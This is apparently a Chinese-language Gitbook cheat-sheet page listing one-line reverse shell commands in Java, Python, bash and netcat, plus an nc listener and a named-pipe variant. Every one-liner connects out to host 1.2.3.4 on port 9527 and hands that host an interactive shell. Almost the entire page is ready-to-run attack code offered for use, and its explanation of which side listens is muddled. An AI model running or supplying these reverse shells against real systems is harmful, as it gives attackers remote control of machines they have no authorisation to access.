各种语言的一句话反弹shell命令


被攻击主机先监听端口

这是大前提,至于怎么做就看 hacker 的能力了,最简单脚本可以用 nc :

nc -lvvp 9527

攻击主机连接到服务端口

JAVA

Runtime.getRuntime().exec(["/bin/bash","-c","exec 5<>/dev/tcp/1.2.3.4/9527;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]);

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.2.3.4",9527));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

bash

bash -i >& /dev/tcp/1.2.3.4/9527 0>&1

nc

nc -e /bin/sh 1.2.3.4 9527

mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 1.2.3.4 9527 1>/tmp/backpipe
Copyright © EXP 2020 all right reserved,powered by Gitbook最后修改时间 : 2019-12-17 07:31:06

results matching ""

    No results matching ""

    results matching ""

      No results matching ""